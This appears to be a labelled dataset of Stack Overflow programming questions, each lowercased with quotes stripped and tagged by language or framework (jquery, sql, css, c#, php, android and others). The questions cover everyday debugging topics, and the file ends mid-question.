is this jquery each a closure  if so  how can i fix this   i am making dynamic forms  while the user selecting the menu from my select options. after they select the option from my select element i generate a form with required elements. all works fine.    once all done  i send the from to another function to validate. in the validate function i am using <code>$.each</code> function to get elements from the form.    the issue is that the first time i get  consoled  form one time  second time i am  consoled  the new for 2 times(but same form)  when i am sending the 3rd form to function and put into each loop to console  i am getting 3 times the same 3rd form consoled...    i don t want to console or check first form as 1 time and second form to 2 times  3 one to 3 time to process.    how can i solve this issue     i put some function where i am getting issues. if need the full functionality let me provide.   <pre><code>var validateform = function(form){      console.log( hi )      var  submit = form.find( :submit )            text = form.find( :text )            select = form.find( select )            checkbox = form.find( checkbox )            file = form.find( :file )            textarea = form.find( textarea );            console.log(form.length);       form.on( click   function(event){            console.log(event.target);            for(i=0;i&lt;form.length;i++){                console.log($(this) i);                }           return false;      }) }  </code></pre>   2nd time each or for loop console like this(2 times):   <pre><code>&lt;input id= salessubmit  type= submit  value= send  name= salessubmit &gt; ecomnation.js (line 16)  object[fieldset]0  ecomnation.js (line 19) &lt;input id= salessubmit  type= submit  value= send  name= salessubmit &gt; ecomnation.js (line 16)  object[fieldset] 0 </code></pre>   what is wrong here  how can i fix this     my whole function (99%) is here :   <pre><code>var validateform = function(form){      console.log( hi )      var  submit = form.find( :submit )            text = form.find( :text )            select = form.find( select )            checkbox = form.find( :checkbox )            file = form.find( :file )            textarea = form.find( textarea );            console.log(form.length);            form.on( click   function(event){        console.log(event.target);        for(i=0;i&lt;form.length;i++){            console.log($(this) i);            }       return false;  })  }  var enquireyform = function(option form){       var  contactform = $( #contactform )            fieldset = contactform.find( fieldset:last )            posturl =   ;       var generateform = function(fields){            var optionalform =   ;            $.each(fields  function(i field){                optionalform += field.label    &lt;label&gt; +field.label+ &lt;/label&gt;  :                    optionalform += field.type ===  text     &lt;input id= +field.id+  name= +field.name+  type=text&gt;  :                                field.type ===  textarea     &lt;textarea id= +field.id+  name= +field.name+  &gt;&lt;/textarea&gt;  :                                field.type ===  checkbox     &lt;input id= +field.id+  name= +field.name+   type=checkbox&gt;  :                                field.type ===  submit     &lt;input id= +field.id+  name= +field.name+   value= +field.value+  type=submit&gt;  :                                field.type ===  file     &lt;input id= +field.id+  name= +field.name+  type=file&gt; :  ;                optionalform += field.note    &lt;span&gt; +field.note+ &lt;/span&gt;  :   ;                 posturl = field.url   field.url :   ;            })           contactform.attr( action  posturl);           return optionalform;      }       option.on( change  function(){           fieldset.empty();           if(this.selectedindex !== 0){                validateform(fieldset.append(generateform(form[$(this).val()])));           }      })   } </code></pre>   my html to generate form:   <pre><code>&lt;form id= contactform  action=   method= post &gt;     &lt;legend&gt;inquiry form&lt;/legend&gt;     &lt;fieldset&gt;         &lt;label&gt;type of inquiry*&lt;/label&gt;         &lt;select id= enquiry &gt;             &lt;option selected= selected  value=  &gt;please select&lt;/option&gt;             &lt;option value= general &gt;general&lt;/option&gt;             &lt;option value= sales &gt;sales&lt;/option&gt;             &lt;option value= careers &gt;careers&lt;/option&gt;         &lt;/select&gt;     &lt;/fieldset&gt;     &lt;fieldset&gt;&lt;!-- selected form fields goes here --&gt;&lt;/fieldset&gt; &lt;/form&gt; </code></pre>,jquery
sql how can this happen  - query which normally returns 1 result alone actually resulted in multiple results when put inside where clause <h3>question brief</h3>   i m doing this practice on <a href= https://www.w3resource.com/sql-exercises/sql-joins-exercise-25.php  rel= nofollow noreferrer >w3resource</a> and i couldn t understand why the solution worked. i m 2 days old to sql. i ll appreciate very much if someone can help me explain.    i have 2 tables  company(com_id  com_name) and product(pro_name  pro_price  com_id). each company has several products with different prices. now i need to write a query to display companies  name together with their most expensive products respectively.    the sample answer on the practice is like this   <pre><code>select c.com_name  p.pro_name  p.pro_price from product p  inner join company c on p.com_id = c.com_id        and p.pro_price =             ( select max(p.pro_price)               from product p               where p.com_id = c.com_id ); </code></pre>   the query returned expected result.   <pre><code>com_name    pro_name     pro_price ---------   ---------    ----------- samsung     monitor      5000.00 iball       dvd drive    900.00 epsion      printer      2600.00 zebronics   zip drive    250.00 asus        mother board 3200.00 frontech    speaker      550.00 </code></pre>   but i cannot understand how  especially the part inside the bottom sub-query. isn t select max(p.pro_price) supposed to return only 1 highest price of all companies together  i also tried subsecting this sub-query like this   <pre><code>select max(p.pro_price) from product p  inner join company c on p.com_id = c.com_id  where p.com_id = c.com_id; </code></pre>   ... and it only returned 1 maximum value.    <pre><code>max(p.pro_price) ----- 5000.00 </code></pre>   so how does the final result of the whole query include more than 1 records  there s no group by or anything.    by the way  the query seemed to use 2 conditions for inner join. but i also tried swapping the 2nd condition into a where clause and it still worked the same. this is one more thing i don t understand.   <h3>the databases involved</h3>   <strong>company table</strong>   <pre><code>com_id | com_name ---------------- 11     | samsung 12     | iball 13     | epsion 14     | zebronics 15     | asus 16     | frontech </code></pre>   <strong>product table</strong>   <pre><code>pro_name              pro_price  com_id -------------------- ---------- --------- mother board          3200        15 key board             450         16 zip drive             250         14 speaker               550         16 monitor               5000        11 dvd drive             900         12 cd drive              800         12 printer               2600        13 refill cartridge      350         13 mouse                 250         12 </code></pre>,sql
"i want the div to be swapped using the css and html  i want the social to display after bc and header.     you can help using the jsfiddle i created.     so the order should be like    <pre><code>bc header social dfgh. </code></pre>   i want this because to swap the content when switched to mobile device.    my html should be the same but you can change the css    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>#flex {
   display: flex;
   /* optional  if you want the divs 100% width: */
   flex-direction: column;
 }
 
 #flex&gt;#a {
   order: 3;
 }
 
 #flex&gt;#b {
   order: 1;
 }
 
 #flex&gt;#c {
   order: 2;
 }
 
 #flex&gt;#d {
   order: 4;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div id= abc &gt;
   &lt;div id= flex &gt;
     &lt;div id= a &gt;social&lt;/div&gt;
     &lt;div class= navya  id= navya &gt;
       &lt;div id= b &gt;bc&lt;/div&gt;
       &lt;div id= c &gt;header&lt;/div&gt;
       &lt;div id= d &gt; dfgh&lt;/div&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     <a href= https://jsfiddle.net/j35yyy47/9/  rel= nofollow noreferrer >https://jsfiddle.net/j35yyy47/9/</a>",css
how to declare variable to use like that variable[ name1 ] in c#  i want to declare a variable like this in c#   <pre><code>public anytype variable; </code></pre>   and then i can use it like this   <pre><code>variable[ name1 ] = anyvalue1; variable[ name2 ] = anyvalue2; </code></pre>   i cannot find out any solution to declare what type of variable is to use it that way.<br> please help me.    i appreciate any comments   <hr>   additional information: i have a class:   <pre><code>public class template {     public string name {get; set; }     public string content {get; set;} } </code></pre>   i want to set value for template content and template name like this   <pre><code>template t = new template(); t[ name ] =  template1 ; t[ content ] =  templatecontent1 ; </code></pre>   not:   <pre><code>template t = new template(); t.name =  template1 ; t.content =  templatecontent1 ; </code></pre>   i mean like a table attribute. here i have table template  it has 2 columns name and content.  so that i can query template[ name ] and template[ content ]<br> thanks,c#
amdroid app: video player app  i am making a video player app. lets make myself clear in this app no video or audio files will be saved in the raw directory during making the app. i want an app that will pick a video file from device storage when clicked a button. so please help.,android
complicated sql query need query structure  i have a sql query that pulls a result set in the following format   <pre><code>    .       header1 header2 header3 header4     row1     row2     row3     row4 </code></pre>   there will always be 4 rows returned from this query.    what i ultimately want to do is make another result set that looks like this:   <pre><code>    .       header1 header2 header3 header4 header5 header6     row1     row2     row3     row4 </code></pre>   where [header5 row1] is the return value of another query that takes [header1 row1] and [header2 row1] as parameters    [header6 row1] is the return value of a different query that takes [header1 row1] and [header2 row1] as parameters    i have the first table done fine  and i actually have the entire thing working using for loops in my application code.  however  i am migrating the application to a different framework where it would really help (and i believe be much more efficient) if i could do this in one query and i don t know where to start.  i am not looking for anyone to write a query  i just need to know the structure of the query that i should use here.    thanks,sql
computed columns store aggr count  i want the computed column to store count totals from another table  how would i do it  (would the following work)    create table sample (    column1 as (select count(*) from table2) persisted ),sql
calculating age when textbox is empty error  i have 2 texboxes textbox71 in it i enter the date of birth and the program calculates the age for me and show it in textbox72   the problem is when i don t enter something in textbox71 the program gives me an error  string was not recognized as valid datetime   and shuts down   what i want from the program is when i dont enter something in dateofbirth textbox to show me a message to enter something   so i tried to do this but it didnt work here is my code :    <pre><code>     if (!string.isnullorempty(textbox71.text))             {                 messagebox.show( please enter date of birth );             }             else             {                  datetime drid2 = convert.todatetime(textbox71.text);                 datetime drid3 = datetime.now;                 int yy1 = math.abs(drid3.year - drid2.year);                 textbox72.text = yy1.tostring();             } </code></pre>,c#
php mysql_real_escape_string  which one is  good syntax :   <pre><code>    $_get[ user ] = mysql_real_escape_string($user);     $_get[ hash ] = mysql_real_escape_string($hash); </code></pre>   or   <pre><code>$user = mysql_real_escape_string($_get[ user ]); $hash = mysql_real_escape_string($_get[ hash ]); </code></pre>   sorry for stupid question :/,php
c++ debugs - read from a file and output the 2d array <pre><code>#include&lt;iostream&gt; #include&lt;fstream&gt; using namespace std;   int main(){       ifstream infile;       int x y;       char ch;       infile.open( input.txt );       int** intarray = new int*[x];       for(int i = 0; i &lt; x; ++i)        intarray[i] = new int[y];            for(int k=0; k&lt;16; ++k){              for(int j=0; j&lt;24; ++j){               infile &gt;&gt; intarray[k][j];               cout &lt;&lt; intarray[k][j]&lt;&lt;   ;              }            cout&lt;&lt; endl;            }             infile.get(ch);    infile.close();  } </code></pre>   here is what i have wrote so far  the array is declared dynamically but when i run  it comes out error saying segmentation fault (core dumped). for the input file  first line is 4 numbers: #rows #columns min-value max-value  i need to print them out and put integers into the 2-d array starting second line. how can i do that,c++
what is the css clear style and how is it used   what does the following do:   <pre><code>&lt;div style= clear:both &gt;&lt;/div&gt; </code></pre>   and how is it used,css
what is included in the released .net source code from microsoft   general question about what microsoft has released and how to get the code.    i ve been looking for solid answers on exactly what source code microsoft has released for the .net open source or .net core  as i believe they call it.    specifically  i am acutely interested in the system.windows namespace and the dispatcher class therein.    is there any official word from microsoft in which they enumerate the various parts that have been and will be released,.net
download additioanal functionality into an app - is it possible   i m currently developing an iphone version of existing android application. customer wants to provide his web services via mobile apps. on android this is made in a modular way: user installs main app  and then he can download additional modules to it if needed. that way he can install only modules that he needs. is there a way to achieve same functionality on iphone  i read about in-app purchasing  but i don t know if it will work because additional functionality will not be built-in and unlocked - it needs to be downloaded and added to my app as a new module - so user s space would not be wasted with unneeded modules.    thank you!,iphone
is it possible to cancel a beginread on a namedpipeserverstream without closing the pipe   what the title says  really.    i have a named pipe. i would like to attempt a read  but if it doesn t succeed after a timeout i d like to still be able to use the pipe afterwards.    is this possible with <code>namedpipeserverstream</code>  or do i have to rethink the entire approach     so far the only way i ve found of cancelling a <code>beginread</code> is by disposing of the pipe.,.net
what are some good questions to ask a potential consultant w/out insulting them   we re looking at possibly outsourcing some development to a local consultant  what type of questions would you ask during an initial meeting      we re potentially looking to have them build some basic webapps in asp.net and sql server 2008.    some of the other questions here are geared toward a new employee who may or may not have a lot of experience  maybe i m wrong but it feels inappropriate to ask some of those types of questions to a consultant with what appears to be a decent portfolio.,.net
changing imagebackground for uibutton ios losing border  why does the border of the first button disapper when i set the selection to no   below are the two actions for foreach of the buttons.   <pre><code>- (ibaction)onehourbtn:(id)sender {     [btnonehour setselected:yes];     [btntwohour setselected:no];     [btnthreehour setselected:no]; } </code></pre>   and   <pre><code>(ibaction)twohourbtn:(id)sender {     [btnonehour setselected:no];     [btntwohour setselected:yes];     [btnthreehour setselected:no]; } </code></pre>   <img src= https://i.stack.imgur.com/xnqbq.png  alt= clicked on button moved away >    <img src= https://i.stack.imgur.com/1tjg4.png  alt= clicked on the other button and the border is removed from the first >,ios
multiple try statements; returning to the corresponding try statement instead of the first input  i am trying to get the program to loop back to the second try statement when the user correctly inputs a number for the first input but does not for the second input.  the code:   <pre><code>print ( we re gonna be doing some division )  while true:     try:         a=float(input( input the first number:  ))     except:         print ( try again )      else:         break         pass  while true:     try:         b=float(input( input the second number:  ))     except:         print ( try again )      else:         break print ( your final answer is:    a/b) </code></pre>   edit: sorry this is my very first question. i am not sure how to correctly format the code portion of the question. i have tried for about 20 minutes of which lead to failure and a good amount of frustration.     edit2: thank you for the comments. finally figured out how to format the question  but still needs an answer.,python
interface builder label not the right position  i m working in interface builder right now but my uilabel not stand on the right position. the label is moving.    does anyone know what the problem is     interface :      <img src= https://i.stack.imgur.com/yl6se.png  alt= enter image description here >,objective-c
is the use of instance variables discouraged   lately  it seems that explicitly declared instance variables in objective-c are considered a thing to avoid  with the preference being to use  private  properties  i.e.  properties declared in a class extension in the .m file.    the last example of this is the wwdc  12 presentation on advances in objective-c.    what i haven t been able to find is a rationale for this preference  and i have searched a lot. it obviously provides a sort of solution to the fragile base class problem  but that was already solved with objective-c 2.    is there some crucial piece of documentation that i have missed  or is there a simple explanation that a kind soul could provide here,objective-c
i am getting exception  cannot redirect after http headers have been sent  when redirecting to another page  i am getting exception   <pre><code> cannot redirect after http headers have been sent.   </code></pre>   when on doing <code>response.redirect( home.aspx )</code>.     how can i solve this   i tried giving <code>response.flush()</code> before redirecting.,asp.net
need help to understand one-line c code output  please consider the following code   <pre><code>#include&lt;stdio.h&gt;  int main() {     int a[2][3][4] = { {1  2  3  4  5  6  7  8  9  1  1  2}                          {2  1  4  7  6  7  8  9  0  0  0  0} };     printf( %u  %u  %u  %u\n   a  *a  **a  ***a);     return 0; } </code></pre>   if i am not wrong <code>a</code> points to the position where array begins.so why <code>a  *a  **a</code> all three give same location,c
how can i create a pause button for a tag like <audio> or <video>  as the title suggests  i have audio playing automatically in my site  and some visitors have recommended that i create a pause button for it. after trying numerous online javascript based solutions  i have come out with no success. i use the following code for the audio to play:    <pre class= lang-html prettyprint-override ><code>&lt;audio id=  song  autoplay loop onloadeddata= sethalfvolume() &gt;     &lt;source src= song.mp3  type= audio/mpeg &gt; &lt;/audio&gt; </code></pre>,html
css position images in specific locations inside a background  i have a background (used <code>style= background-image:url(  )</code>) and 2 images.    i need the images to be positioned this way:    <strong>first image:</strong>   <ul> <li> 30px from top of the background </li> <li> 15px from the right </li> </ul>   <strong>second image</strong>   <ul> <li> 15px from the bottom of the background </li> <li> 15px from the left </li> </ul>   my css classse:   <ol> <li>myitem1 - first image class</li> <li>myitem2 - second image class</li> <li>bggrass - the background</li> </ol>   <strong>what i ve been trying:</strong>   <pre><code>.bggrass {     background-image:url( images/bg/grass.png );     width:800px;     height:480px; }  .myitem1 {     position:absolute;     bottom: 15px;     left:15px; }  .myitem2 {     position:absolute;     top:40px;     right:20px; } </code></pre>   what s wrong     update: the solution here provided that i need to add the position:absolute to my background. the problem now is that all the content below this background is moving up inside it and making a total mess.   <pre><code>&lt;div class= bggrass &gt;  &lt;img class= myitem1  src= http://cdn.mysitemyway.com/icons-watermarks/simple-black/raphael/raphael_gear-small/raphael_gear-small_simple-black_128x128.png  /&gt;  &lt;img class= myitem2  src= http://iconizer.net/files/brightmix/orig/monotone_close_exit_delete_small.png  /&gt;  &lt;/div&gt;  &lt;div class= clearfix &gt;&lt;/div&gt;  all content here is inside the background </code></pre>,css
python ussd via com port  i am new to python. is there anyway i can use python to send ussd with a phone via at+cusd commands. i can do that using hyperterminal. i want to automate using python. thanks.,python
how to resolve an *external* group email to individual emails   i have a group email address  setup externally  and i would like to find out which emails are assigned to this group email.    is this even possible  if so  how  i am a .net programmer but willing to work with other language.    let s say it s not possible because that information lives on external server. how would you do this in semi-manual / semi-automated  send email to the group  request for all members of group to respond  then use some sort of outlook plugin / vstfo to iterate through the replies to create the mapping,.net
android application with two application buttons  i am new to android development. currently  i am creating an android app which should have two launching icons.  first icon to launch configuration part of the app. second icon which will execute based on the configuration.    configuration will be not be frequent activity.    but launching of second icon will be very frequent to get the results based on configuration.    as i can see most of the apps have single launch icon. is there a way in android which can fit into my requirement     thanks.,android
designated initializer should only invoke a designated initializer on  super   this code is a modified version of ordered dictionary implemented here. <a href= https://github.com/nicklockwood/ordereddictionary/tree/master/ordereddictionary  rel= noreferrer >https://github.com/nicklockwood/ordereddictionary/tree/master/ordereddictionary</a>    <strong>interface -> ordereddictionary.h</strong>   <pre><code> @interface ordereddictionary : nsmutabledictionary { } </code></pre>   <strong>implementation -> ordereddictionary.m</strong>   <pre><code>// this is the new method added. - (instancetype)init {     return [self initwithcapacity:0]; }  - (instancetype)initwithcapacity:(nsuinteger)capacity {     self = [super init];     if (self != nil)     {        // allocate here.     }     return self; } </code></pre>   the code works fine but i get following warnings in  - (instancetype)init .   <ol> <li>designated initializer should only invoke a designated initializer on  super  </li> <li>designated initializer missing a  super  call to a designated initializer of the super class</li> </ol>   what am i doing wrong and how do i fix it      <strong><em>made following changes to the code to fix the problem</em></strong>   <pre><code> // this is the new method added.  - (instancetype)init {     self = [super init];     if (self != nil)     {        // allocate here.     }     return self; }  - (instancetype)initwithcapacity:(nsuinteger)capacity {     self = [super initwithcapacity:capacity];     if (self != nil)     {        // allocate here.     }     return self; } </code></pre>,objective-c
why i cannot assign hexadecimal values into foo* const array[]   in ccs6 i couldn t run this program properly.    <pre><code>typedef volatile struct{     unsigned int pin_in;     unsigned int pin_out;     unsigned int pin_dir;     unsigned int pin_ren;     unsigned int pin_ds;     unsigned int pin_sel;     unsigned int reserved[10]; }io_hw_t; //#define pabase ((io_hw_t*) (0x200)) // this part is working  #define pabase 0x200 #define pbbase 0x220  io_hw_t *const  io[] = {pabase  pbbase}; // error  </code></pre>   the warning i got is:   <blockquote>      #145-d a value of type  int  cannot be used to initialize an entity   of type  io_hw_t *const    </blockquote>   how can i fix this,c
form submit is not working when i click button  why isn t my form working and why are there no errors showing  when i click the submit button nothing happens  here is my code:   <pre><code>&lt; php $list_of_product=$p-&gt;loadsearchproduct($searchkey);  foreach ($list_of_product as $product) {    echo  &lt;tr&gt;     . &lt;form id = myform  action =  insertorders.php  method =  post &gt;     . &lt;td&gt; .$product-&gt;prodname. &lt;/td&gt;     . &lt;td&gt; .$product-&gt;price. &lt;/td&gt;     . &lt;td&gt; .$product-&gt;total.   . piece(s) . &lt;/td&gt;     . &lt;td&gt; .$product-&gt;remaining_stock.   . piece(s) . &lt;/td&gt;     . &lt;td&gt; .$product-&gt;sold_stock. &lt;/td&gt;     . &lt;td&gt; . &lt;input class= form-control  name= qty  type= text  required/&gt; . &lt;/td&gt;        . &lt;td&gt; . &lt;button type= submit  id= sub  class= btn btn-primary &gt; . &lt;b&gt;add to list&lt;/b&gt; . &lt;/button&gt; . &lt;/td&gt;     . &lt;/form&gt;     . &lt;/tr&gt; ; }  &gt; </code></pre>,php
php: check url for two variables  in php  how can you check a url for two get variables     i want to check my url for two variables which need to be set  one is an id number and the second is update. the id variable needs to not be empty  and the other is just to trigger the update block of code. i have   <pre><code>if(isset($_get[ id ]) and !empty($_get[ id ]) and isset($_get[ update ]) and empty($_get[ update ])): </code></pre>   but it only checks if the id is set and doesn t run the update code. any ideas,php
efficient query to find singular orders for a product  i have two tables orders  and line_items with following structure:   <pre><code>orders (id = pk  indexes on user_id) ------------------------------------- id   user_id ==   ====== 1     1 2     2 3     1 4     3 5     1  lineitems (id = pk  indexes on order_id and product_id) id   order_id product_id quantity ==   ======   ========   ====== 1      1         1       1 2      1         2       2 3      2         1       4 4      2         3       6 5      3         1       1 6      4         1       1 7      5         1       1 </code></pre>   i am trying to find the most efficient way to solve the following requirements:   <ul> <li> given a <code>user</code> and a <code>product</code> find the <code>lineitems</code> belonging to <code>orders</code> where given product is the only product ordered. e.g: if user_id is 1 and product_id is 1  the query should return line items 5 and 7. </li> <li> given a <code>user</code> and a <code>product</code> find the <code>orders</code> where given product is the only product ordered. e.g: if user_id is 1 and product_id is 1  the query should return orders 3 and 5. </li> </ul>   the orders and lineitems table can have millions of rows.    i have a working solution that uses <code>count</code> and <code>having</code>. i am not certain that this is the most efficient solution.    specifically  i am wondering if this can be addressed by using the technique outlined by <code>cletus</code> in <a href= https://stackoverflow.com/questions/477006/sql-statement-join-vs-group-by-and-having/477013#477013 >this answer</a>.    <strong>note:</strong>  i am using orders and lineitems tables to describe the scenario. my actual table is quite different and it not related to order etc.     <strong>edit 2</strong>    is this query efficient than using <code>group by</code> and <code>having</code>    <pre><code>select a.id from   lineitems a join   orders b on b.id = a.order_id and b.user_id = 1 left outer join lineitems c on c.order_id = a.order_id and                                 c.product_id != a.product_id    where  a.product_id = 1 and c.id is null </code></pre>,sql
php - an easy way to do this   i m new to php. i ll have to repeat this 50 times  so i hope there is an easy way. is there an easy way to do this    <pre><code>&lt; php   if (isset($_post[ arbejdsmiljoudvalget ])){     $arbejdsmiljoudvalget = $_post[ arbejdsmiljoudvalget ]; } else {     $arbejdsmiljoudvalget =0; } if (isset($_post[ boligpolitisk ])){     $boligpolitisk = $_post[ boligpolitisk ]; } else {     $boligpolitisk =0; }  if (isset($_post[ dove ])){     $dove = $_post[ dove ]; } else {     $dove =0; }  if (isset($_post[ energi ])){     $energi = $_post[ energi ]; } else {     $energi =0; }   &gt; </code></pre>,php
how to create an autosend email in vb.net  <pre><code>dim mailmsg as new system.net.mail.mailmessage()     mailmsg.from = new mailaddress( yourname@domain.com )     mailmsg.to.add( to.domain.com )     mailmsg.subject =  mail from .net application      mailmsg.isbodyhtml = true     mailmsg.body =  hi this is a mail from .net appl i have used same code......      mailmsg.priority = mailpriority.normal     dim client as new system.net.mail.smtpclient()      client.usedefaultcredentials = false     client.credentials = new system.net.networkcredential( yourname@domain.com    password )     client.port =  587      client.host =  smtp.gmail.com      client.enablessl = true     dim userstate as object = mailmsg      client.send(mailmsg) </code></pre>   can you guys check my code if there s something wrong with my smtp  then i        want to add some codes for the attachment files can anyone help,.net
okay to call prompt() this way   is it okay to call prompt this way:   <pre><code>  prompt( enter your text here ); </code></pre>   instead of:   <pre><code>  prompt( enter your text here     ); </code></pre>   i.e. without passing a suggested input to it,javascript
formview insert hidden parameters based on dropdownlist selection  i have a formview which i populate using sqldatasource1. i do databinding like:     <pre><code>text= &lt;%# bind( effectivedate ) %&gt;  </code></pre>   <code>formview</code> also contain a dropdownlist with a custom <code>sqldatasource2</code>.  dropdown list contains list of cities. user is able to change a value in dropdown.     once i submit a form i have to send to powershell script some parameters which i supposed to hide like street  zipcode  etc... on first form load i can bind this parameters to hidden fields from <code>sqldatasource1</code>. but if user change a value in dropdownlist i have to rebind parameters. have no idea yet how.     thanks!,asp.net
does the standard .net library depend on any unmanaged dll-s   just out of curiosity  does the .net framework itself depend on any unmanaged dll-s when accessing the standard library   for example i call method a and -under the hood- that method a or any other method inside that method a executes a pinvoke against an unmanaged dll,.net
sql - number of entries needed to reach given value  i need to find how many records it took to reach a given value. i have a table in the below format:   <pre><code>    id  name        time    time 2     1   campaign 1  7       100     2   campaign 3  5       165     3   campaign 1  3       321     4   campaign 2  610     952     5   campaign 2  15      13     6   campaign 2  310     5     7   campaign 3  0       3     8   campaign 1  0       610     9   campaign 1  1       15     10  campaign 1  54      310     11  campaign 3  4       0     12  campaign 2  23      0     13  campaign 2  8       1     14  campaign 3  23      1     15  campaign 3  7       0     16  campaign 3  5       5     17  campaign 3  2       66     18  campaign 3  100     7     19  campaign 1  165     3     20  campaign 1  321     13     21  campaign 1  952     5     22  campaign 1  13      3     23  campaign 2  15      610     24  campaign 2  0       15     25  campaign 1  100     310     26  campaign 2  165     0     27  campaign 3  321     0     28  campaign 3  952     1     29  campaign 3  0       1     30  campaign 3  5       0 </code></pre>   i d like to find out how many entries of  campaign 1  there were before the total of time1 + time2 was equal to or greater than a given number.    as an example  the result for campaign 1 to reach 1400 should be 5.    apologies if i haven t explained this clearly enough - the concept is still a little muddy at the moment.    thanks,sql
how to find out who the rom provider is   i have an automatic bug reporting facility in my app that includes useful information for debugging.     one thing that i would like to include is the rom provider. in particular i would like to know if the user is running a custom rom and which  preferably even with the version number.    any idea how to retrieve this information programmatically     --- taken from the quintin (see below)    <a href= http://code.google.com/p/cyanogen-updater/source/browse/trunk/src/cmupdaterapp/utils/sysutils.java#19  rel= noreferrer >http://code.google.com/p/cyanogen-updater/source/browse/trunk/src/cmupdaterapp/utils/sysutils.java#19</a>:   <pre><code>public static string getreadablemodversion() {    string modver = getsystemproperty(constants.sys_prop_mod_version);    return (modver == null || modver.length() == 0    unknown  : modver);  }  </code></pre>   whereby the constant is this:    <pre><code>public static final string sys_prop_mod_version =  ro.modversion ;  </code></pre>   and here is the getsystemproperty();   <pre><code>public static string getsystemproperty(string propname){             string line;             bufferedreader input = null;     try     {             process p = runtime.getruntime().exec( getprop   + propname);         input = new bufferedreader(new inputstreamreader(p.getinputstream())  1024);         line = input.readline();         input.close();     }     catch (ioexception ex)     {             log.e(tag   unable to read sysprop   + propname  ex);             return null;     }     finally     {             if(input != null)             {                             try                             {                                     input.close();                             }                             catch (ioexception e)                             {                                     log.e(tag   exception while closing inputstream   e);                             }             }     }     return line; } </code></pre>   could anybody with a cm rom can run this for me     btw. careful  this is gpl code. i for one can not use it. any easier or non-gpl way,android
the obsever pattern (or something similar) using a global update() function in c++   i am creating an mvc application in c++ and i want the lower level model classes to be able to update the gui with simple text to display output to the reader. i don t want to have to pass around function or object pointers as it would get messy and i would have to pass them around all over the place. what i essentially want is the equivalent to  cout  for a console gui - some sort of global function that can be called to update the gui from anywhere without having to know anything about the gui.    i ve mentioned the observer pattern in the title because it sounds a lot like that - the gui could subscribe to this global object or function in someway and listen for when it is called. however  i m not specifically looking for a solution using observer.    people have mentioned signals and slots to me but surely  unless global  you are still required to  pass things around  to allow objects to emit the signals. again  a global point of reference would be helpful.    how can i do this while ensuring that good design principles are adhered to,c++
how to get the results of both tables in a join or include in rails  i have two tables as per the diagram.    i want to write a query that will give me the all the users with their associated relationships. the userid in the relationship table is now <code>user_id</code>    i have tried    <pre><code> relationship.includes(:user) </code></pre>   but this just gives me the results of the relationship table  as well as    <pre><code>relationship.joins(:user) </code></pre>   which does the same    <img src= https://i.stack.imgur.com/js52c.png  alt= enter image description here >    there are records in both tables and as you can see from the railroady diagram the associations are correctly set up. what is the correct syntax for this,ruby-on-rails
asp.net servermappath  i have a foler called a  and inside a  i have 2 folders b and c  b is having a child folder called child b now i have a program in c .from c i need to get the physical path of childb when i am giving server.mappath( ../b/childb/ ) it is showing.error.can anybody tell me how to solve this,asp.net
write file without system and hdd cache  how can i write something to a file in c++ without using system cache and drive cache  i just want to write exactly on the hdd regardless all the system cache settings.,c++
the vb project is targeting  .netframework  version=v4.5   <img src= https://i.stack.imgur.com/0w5wc.jpg  alt= enter image description here >    i have no idea what to do  i have a newer version of .net so i don t know why it is giving me this error!!!!,.net
automatic keyboard language change when changing the input field  i have many input fields with two languages in the same page. is there a way to change the language of the keyboard from arabic to french once the user changes the input field,html
what does these variable names stand for   i am using a function which have some variables that i don t know what they stand for.    <em>the variables are:</em>   <pre><code>a   //from var a = math ... </code></pre>   and   <pre><code>the d in dlat </code></pre>   here is the code:   <pre><code>function checkdistance(lat1 lon1 lat2 lon2) {       var r = 6371; // radius of the earth in km       var dlat = deg2rad(lat2-lat1);  // deg2rad below       var dlon = deg2rad(lon2-lon1);        var a =          math.sin(dlat/2) * math.sin(dlat/2) +         math.cos(deg2rad(lat1)) * math.cos(deg2rad(lat2)) *          math.sin(dlon/2) * math.sin(dlon/2)         ;        var c = 2 * math.atan2(math.sqrt(a)  math.sqrt(1-a));        var d = r * c; // distance in km       return d;     } </code></pre>   what do you think they stand for,javascript
ng-repeat filter by the current iteration value  is it possible to do a simple filter  something like this    <pre><code>&lt;div col ng-repeat= v in venues | filter:v.matches.loose &gt; </code></pre>   so it will only repeat this row if the value of v.matches.loose is true     i have a few different cases where this would be useful and i don t want to have to define an <code>app.filter( ...</code> for each case i need.    edit: full html to repeat   <pre><code>&lt;div class= col-lg-12 col-md-12 col-sm-12 col-xs-12  ng-repeat= v in venues|filter:{matches.loose:true} &gt;              &lt;div row&gt;                 &lt;div col lg= 4  md= 4 &gt;                     {{v.name}}                         &lt;/div&gt;                 &lt;div col lg= 4  md= 4 &gt;                     loose match: &lt;span ng-show= v.matches.loose &gt;yes&lt;/span&gt;&lt;span ng-hide= v.matches.loose &gt;no&lt;/span&gt;                 &lt;/div&gt;                 &lt;div col lg= 4  md= 4 &gt;                     strict match: &lt;span ng-show= v.matches.strict &gt;yes&lt;/span&gt;&lt;span ng-hide= v.matches.strict &gt;no&lt;/span&gt;                 &lt;/div&gt;              &lt;/div&gt;         &lt;/div&gt; </code></pre>,angularjs
mergesort incorrect output c++  input : <code>{10 9 8 7 6 5 4 3 2 1}</code>  output : <code>{8 7 6 9 10 5 4 3 2 1}</code>    i m not sure what the issue is. i think it has something to do with the recursion in mergesort. i m new to recursion so my understanding is not too good. any hints    <pre><code>#include &lt;iostream&gt; void mergesort(int a[]  int w[]  int n); void merge(int a[]  int w[]  int n); using namespace std;  void mergesort(int a[]  int t[]  int n) { if (n &gt; 1) {     for (int i = 0; i &lt; n/2; i++) {         t[i] = a[i];     }     mergesort(a  t  n/2);     for (int i = n/2; i &lt; n; i++) {         t[i] = a[i];     }     mergesort(a  t  n/2);     merge(a  t  n/2); } }  void merge(int a[]  int t[]  int n) {     int leftindex = 0  leftend = n/2;      int rightindex = n/2  rightend = n;     int targetindex = 0;       while (leftindex &lt; leftend &amp;&amp; rightindex &lt; rightend) {         if (t[leftindex] &lt; t[rightindex])              a[targetindex++] = t[leftindex++];         else                 a[targetindex++] = t[rightindex++];     }      while (leftindex &lt; leftend) {         a[targetindex++] = t[leftindex++];     }      while (rightindex &lt; rightend) {         a[targetindex++] = t[rightindex++];     } }  int main() {     const int size = 10;     int a[] = {10 9 8 7 6 5 4 3 2 1};     int w[size];     mergesort(a w size);     for (int i = 0; i &lt; size; 